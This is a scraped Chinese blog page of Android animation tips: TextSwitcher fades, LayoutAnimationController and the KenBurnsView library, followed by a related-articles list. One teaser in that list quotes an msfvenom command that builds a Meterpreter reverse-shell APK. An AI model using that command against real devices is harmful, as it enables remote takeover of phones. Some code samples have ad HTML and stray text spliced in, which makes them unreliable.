Android.Hack.02_Animations
#01# TextView 和 ImageView
TextView和Imageview切换卡顿,为了实现更好的切换,可以用动画来实现,系统自带的TextViewSwitcher 和ImageViewSwitcher,其中设置自定义动画,可以使用如下Demo:
private TextSwitcher mTextSwitcher;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Animation in = AnimationUtils.loadAnimation(this,
android.R.anim.fade_in);
Animation out = AnimationUtils.loadAnimation(this,
android.R.anim.fade_out);
mTextSwitcher = (TextSwitcher) findViewById(R.id.your_textview);
mTextSwitcher.setFactory(new ViewFactory() {
@Override
public View makeView() {
TextView t = new TextView(YourActivity.this);
t.setGravity(Gravity.CENTER);
//21 Adding eye candy to your ViewGroup’s children
return t;
}
});
mTextSwitcher.setInAnimation(in);
mTextSwitcher.setOutAnimation(out);
}
参考链接:http://developer.android.com/reference/android/widget/TextSwitcher.html
http://developer.android.com/guide/topics/graphics/view-animation.html
#02# 为viewgroup的children添加动画-----LayoutAnimationController
例子是最好的诠释:
mListView = (ListView) findViewById(R.id.my_listview_id);
AnimationSet set = new AnimationSet(true);
Animation animation = new AlphaAnimation(0.0f, 1.0f);
animation.setDuration(50);
set.addAnimation(animation);
animation = new TranslateAnimation(Animation.RELATIVE_TO_SELF, 0.0f,
Animation.RELATIVE_TO_SELF, 0.0f, Animation.RELATIVE_TO_SELF,
- 1.0f, Animation.RELATIVE_TO_SELF, 0.0f);
animation.setDuration(100);
set.addAnimation(animation);
LayoutAnimationController controller = new LayoutAnimationController(
set, 0.5f);
Create LayoutAnimationController
and delay between animations. mListView.setLayoutAnimation(controller);
参考链接:http://developer.android.com/reference/android/view/animation/LayoutAnimationController.html
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
#03# Android 使用NineOldAndroids实现绚丽的ListView左右滑动删除Item效果
Nine Old Androids 亦可以实现,图片的缩放的效果,跟官方API里面的图片效果一样。即是::Ken Burns特效,
比较详细的Demo,已经有人翻译过了:
:http://blog.csdn.net/manoel/article/details/39164225
一个实现Ken Burns effect图片展示效果的效果android控件。Ken Burns effect是一种图片在切换之前,会缓慢在页面移动或者放大缩小,然后再慢慢切换过去。这样的效果使得每一张静止图片都有动态的效果感觉。类似的效果在电子相册,或者在电影视频对静态图片的处理中经常可见。
项目地址https://github.com/flavioarfaria/KenBurnsView
用法:
最简单的用法是直接将项目中提供的jar文件放入,然后在xml中添加:
1
2
3
4
5
|
<com.flaviofaria.kenburnsview.KenBurnsView <span id= "1_nwp" style= "width: auto; height: auto; float: none;" ><a id= "1_nwl" href= "http://cpro.baidu.com/cpro/ui/uijs.php?rs=1&u=http%3A%2F%2Fwww%2Ejcodecraeer%2Ecom%2Fa%2Fanzhuokaifa%2Fandroidkaifa%2F2014%2F0920%2F1698%2Ehtml&p=baidu&c=news&n=10&t=tpclicked3_hc&q=01072140_cpr&k=android&k0=android&kdi0=8&k1=%B6%AF%BB%AD&kdi1=8&k2=%B5%E7%D7%D3%CF%E0%B2%E1&kdi2=8&sid=861a9a46d40c70b6&ch=0&tu=u1921070&jk=015869c8e072c03f&cf=29&rb=0&fv=16&stid=9&urlid=0&luki=1&seller_id=1&di=128" target= "_blank" mpid= "1" style= "text-decoration: none;" ><span style= "color:#0000ff;font-size:14px;width:auto;height:auto;float:none;" >android</span></a></span>:id= "@+id/image" android:layout_width= "match_parent" android:layout_height= "match_parent" android:src= "@drawable/your_drawable" /> |
高级用法:
1.设置listener:
1
2
3
4
5
6
7
8
9
|
KenBurnsView kbv = (KenBurnsView) findViewById(R.id.image); kbv.setTransitionListener( new TransitionListener() { @Override public void onTransitionStart(Transition transition) { } @Override public void onTransitionEnd(Transition transition) { } }); |
2.你可以用kbv.pause() 和 kbv.resume()
;暂停和恢复动画。
3.你可以设置动画的插值和过度时间:
1
2
|
RandomTransitionGenerator generator = new RandomTransitionGenerator(duration, interpolator); kbv.setTransitionGenerator(generator);
|
Android.Hack.02_Animations的更多相关文章
- [可用]android hack
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...
- Android逆向工程初步(一) 15.4.24
最近看了看Android的逆向工程,破解的书,像是<Android Hack‘s Book>之类的,感觉挺有意思的,看了看一些smali的语法,试着自己写了个demo玩玩: 1.工具: 最 ...
- Android.Hacks.01_Centering views using weights
Android.Hacks读书笔记01 #1#权重布局之解析: LinearLayout ’s android:weightSum LinearLayout ’s child android ...
- android 4.4.3 css hack 写法
最近发现android在4.4.3上面出现很多怪异的现象,现在虽然没有找到原因和解决方案,但是突然间找到一个css hack写法: button{ display:none; width:$rem*4 ...
- Android插件化(五):OpenAtlasの四大组件的Hack
Android插件化(五):OpenAtlasの四大组件的Hack 转 https://www.300168.com/yidong/show-2776.html 核心提示:引言到目前为止,我们已经 ...
- 【腾讯Bugly干货分享】Android Patch 方案与持续交付
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/57a31921ac3a1fb613dd40f3 Android 不仅系统版本众多 ...
- 快速Android开发系列网络篇之Volley
Volley是Google推出的一个网络请求库,已经被放到了Android源码中,地址在这里,先看使用方法 RequestQueue mRequestQueue = Volley.newRequest ...
- Android换肤技术总结
原文出处: http://blog.zhaiyifan.cn/2015/09/10/Android%E6%8D%A2%E8%82%A4%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB ...
- Android安全攻防战,反编译与混淆技术完全解析(上)
转载请注明出处:http://blog.csdn.net/guolin_blog/article/details/49738023 之前一直有犹豫过要不要写这篇文章,毕竟去反编译人家的程序并不是什么值 ...
随机推荐
- MFC CSplitterWnd的用法
用MFC开发一个软件界面中需要拆分多个试图窗口时,使用CSplitterWnd类 CSplitterWnd类主要用在创建一个拆分试图窗口.通常嵌入在框架窗口中(CMainFrame) 创建步骤: 1 ...
- (原+转)Eclipse中Android调用OpenCv
大部分都是参考下面的网址,如果感觉看起来不舒服,可以直接查看原网址.最后遇到了一点问题: Description Resource Path Location Type E:/~\cod ...
- Android code wiki
Android code wiki Tip1: 类的全局静态变量的使用,这样可以静态变量只分配一次内存,可以不通过类的对象也就是可以通过类名直接使用该变量.(使用场景:Request_Code ,Re ...
- XML新手入门 创建构造良好的XML(1)
XML新手入门 创建构造良好的XML(1) 2009-03-19 09:24 Kay Whatley IBM Developerworks 我要评论(0) 字号:T | T 本文描述了构建良好的XML ...
- 创建文件夹并解决解决unicode和ASCII码转换的问题
# -*- coding: UTF-8 -*-import sysimport timeimport os #解决unicode和ASCII码转换的问题reload(sys) #解决unicode和A ...
- 转载:EntityFramework 6.0< Code First > 连接 Mysql数据库
转载自:http://blog.csdn.net/kmguo/article/details/19650299 网上有很多关于用EntityFrame来连接Mysql数据库的教程,可是很多并不靠谱,转 ...
- Nginx学习之三-ngx_http_request_t结构体
ngx_http_request_s是nginx中非常重要的一个结构体,贯穿于htpp请求处理的整个过程中. 下面解释了ngx_http_request_s结构体中与HTTP框架相关的重要的成员变量. ...
- asp.net基础学习笔记
原文地址:http://blog.csdn.net/oxoxzhu/article/details/8652530 1.概论 浏览器-服务器 B/S 浏览的 浏览器和服务器之间的交互,形成上 ...
- linux之SQL语句简明教程---AND OR
在上一页中,我们看到 WHERE 指令可以被用来由表格中有条件地选取资料. 这个条件可能是简单的 (像上一页的例子),也可能是复杂的.复杂条件是由二或多个简单条件透过 AND 或是 OR的连接而成.一 ...
- matlab-----均值滤波函数的实现
均值滤波的原理是对图像以一个区域(方形,圆形)等为模板,对该区域内的数据求平均后赋值给区域的中心 这种滤波方式原理简单,但是在滤波的同时会造成图像模糊. 本文将尝试对matlab中的filter2() ...